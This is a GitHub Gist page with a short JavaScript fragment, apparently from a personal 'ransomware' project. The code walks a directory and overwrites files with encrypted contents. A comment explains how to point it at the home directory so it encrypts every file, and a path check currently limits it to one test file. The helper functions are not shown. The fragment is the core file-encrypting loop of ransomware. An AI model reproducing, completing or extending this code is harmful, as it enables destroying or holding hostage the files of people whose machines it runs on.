Created
August 15, 2021 18:04
-
-
Save NathanLeadill/036f3670785372968d0eee324d9eb8bb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;(async () => { | |
// Change ../ to homedir to loop through all the changes | |
for await (const f of getFiles('../')) { | |
// this is just a check so that I only encrypt one file. | |
if(f === '/Users/username/Documents/Projects/ransomware/test/test.txt') { | |
const data = fs.readFileSync(f, 'utf8') | |
fs.writeFileSync(f, encrypt(data)) | |
} | |
} | |
})() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment